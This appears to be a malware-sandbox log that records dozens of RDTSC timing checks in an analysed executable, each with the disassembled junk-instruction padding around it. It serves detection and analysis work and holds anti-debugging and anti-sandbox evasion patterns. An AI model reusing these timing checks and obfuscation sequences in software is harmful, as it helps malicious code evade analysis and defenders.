Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE2311 second address: FE2323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F0D84D62016h 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FA5A86 second address: FA5AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jc 00007F0D8517B908h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F0D8517B90Ch 0x00000016 push edi 0x00000017 jp 00007F0D8517B906h 0x0000001d jc 00007F0D8517B906h 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE4654 second address: FE465A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE465A second address: FE465F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE3152 second address: FE3156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE3156 second address: FE315C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEB2BE second address: FEB2D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEA794 second address: FEA79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEA79A second address: FEA7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F0D84D62016h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEA912 second address: FEA916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEA916 second address: FEA920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEA920 second address: FEA924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEA924 second address: FEA928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAA4D second address: FEAA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAA53 second address: FEAA6D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F0D84D62028h 0x0000000c jmp 00007F0D84D6201Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAF92 second address: FEAFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B913h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAFAA second address: FEAFC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D84D62027h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAFC6 second address: FEAFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAFD0 second address: FEAFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEE3A8 second address: FEE3AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEE837 second address: FEE83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEE83B second address: FEE846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEEB9D second address: FEEBA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEF06F second address: FEF073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEF75E second address: FEF762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF0535 second address: FF055A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D8517B91Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF20E6 second address: FF20F7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jns 00007F0D84D6201Eh 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF2DF4 second address: FF2DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF2DF8 second address: FF2DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF2DFC second address: FF2E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF2E02 second address: FF2E93 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D84D6201Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F0D84D62018h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jbe 00007F0D84D6201Ch 0x0000002d jno 00007F0D84D62016h 0x00000033 xor si, C3C1h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F0D84D62018h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Bh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 add dword ptr [ebp+122D193Fh], ebx 0x0000005a push 00000000h 0x0000005c sub esi, 61B67E40h 0x00000062 push eax 0x00000063 pushad 0x00000064 jng 00007F0D84D6201Ch 0x0000006a push eax 0x0000006b push edx 0x0000006c jno 00007F0D84D62016h 0x00000072 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF3634 second address: FF364D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D8517B915h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF4194 second address: FF419B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF6BDD second address: FF6BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF6BE3 second address: FF6BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF6BE7 second address: FF6C1C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F0D8517B906h 0x0000000d jns 00007F0D8517B906h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 jmp 00007F0D8517B917h 0x0000001b popad 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF97E5 second address: FF97EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF9A33 second address: FF9A4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D8517B911h 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFD2BC second address: FFD2D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0D84D62018h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jbe 00007F0D84D62022h 0x00000013 jl 00007F0D84D6201Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1002FF5 second address: 1003003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1003003 second address: 1003025 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e mov edi, 27F6B101h 0x00000013 push 00000000h 0x00000015 stc 0x00000016 mov dword ptr [ebp+122D1871h], ebx 0x0000001c push eax 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1006681 second address: 1006685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1006685 second address: 100668F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 100668F second address: 10066FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B90Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d movsx edi, bx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F0D8517B908h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov dword ptr [ebp+124629FFh], edx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F0D8517B908h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFE036 second address: FFE0D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F0D84D62018h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D21A7h], ecx 0x0000002a sub dword ptr [ebp+122D2216h], ecx 0x00000030 or edi, dword ptr [ebp+1244C5CFh] 0x00000036 push dword ptr fs:[00000000h] 0x0000003d mov dword ptr [ebp+122D1933h], edx 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a mov edi, edx 0x0000004c mov eax, dword ptr [ebp+122D10D9h] 0x00000052 mov edi, edx 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push eax 0x00000059 call 00007F0D84D62018h 0x0000005e pop eax 0x0000005f mov dword ptr [esp+04h], eax 0x00000063 add dword ptr [esp+04h], 00000017h 0x0000006b inc eax 0x0000006c push eax 0x0000006d ret 0x0000006e pop eax 0x0000006f ret 0x00000070 clc 0x00000071 mov edi, dword ptr [ebp+122D1BCFh] 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007F0D84D62025h 0x0000007f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFEFD5 second address: FFEFDB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 100001E second address: 1000022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFE0D5 second address: FFE0DF instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D8517B90Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFEFDB second address: FFEFEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D84D6201Ch 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1000022 second address: 100002C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1002202 second address: 1002207 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFEFEB second address: FFEFEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1002207 second address: 1002218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F0D84D62016h 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 100FDE4 second address: 100FDEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FA90BF second address: FA90C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10197AA second address: 10197BC instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F0D8517B908h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10197BC second address: 10197C1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 102251E second address: 1022528 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D8517B90Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022ABA second address: 1022AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F0D84D6201Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022AC7 second address: 1022AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B917h 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c jo 00007F0D8517B906h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F0D8517B906h 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022C7E second address: 1022CBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62027h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F0D84D6201Eh 0x0000000f jmp 00007F0D84D6201Dh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022E1C second address: 1022E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F0D8517B906h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022E2F second address: 1022E33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022E33 second address: 1022E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F0D8517B90Eh 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1022E47 second address: 1022E5F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F0D84D6201Fh 0x00000008 pop esi 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10235AB second address: 10235B3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10235B3 second address: 10235D3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D84D62028h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027C26 second address: 1027C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0D8517B908h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027C36 second address: 1027C3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027EE0 second address: 1027EE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027EE8 second address: 1027EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D84D6201Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027EF9 second address: 1027F21 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0D8517B906h 0x00000008 jmp 00007F0D8517B919h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 102832C second address: 1028332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027947 second address: 102795D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0D8517B90Ch 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 102795D second address: 1027963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1027963 second address: 1027967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 100977A second address: 100977E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 100BE17 second address: 100BE26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F0D8517B906h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1028602 second address: 102862B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D6201Dh 0x00000007 jmp 00007F0D84D62021h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10288B0 second address: 10288B7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 102B425 second address: 102B42D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 102CA4A second address: 102CA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10312C4 second address: 10312D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d js 00007F0D84D62016h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10312D8 second address: 10312E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0D8517B906h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10312E4 second address: 10312E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FB15C2 second address: FB15D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D8517B912h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7830 second address: FF7855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F0D84D62016h 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF7855 second address: FF7859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
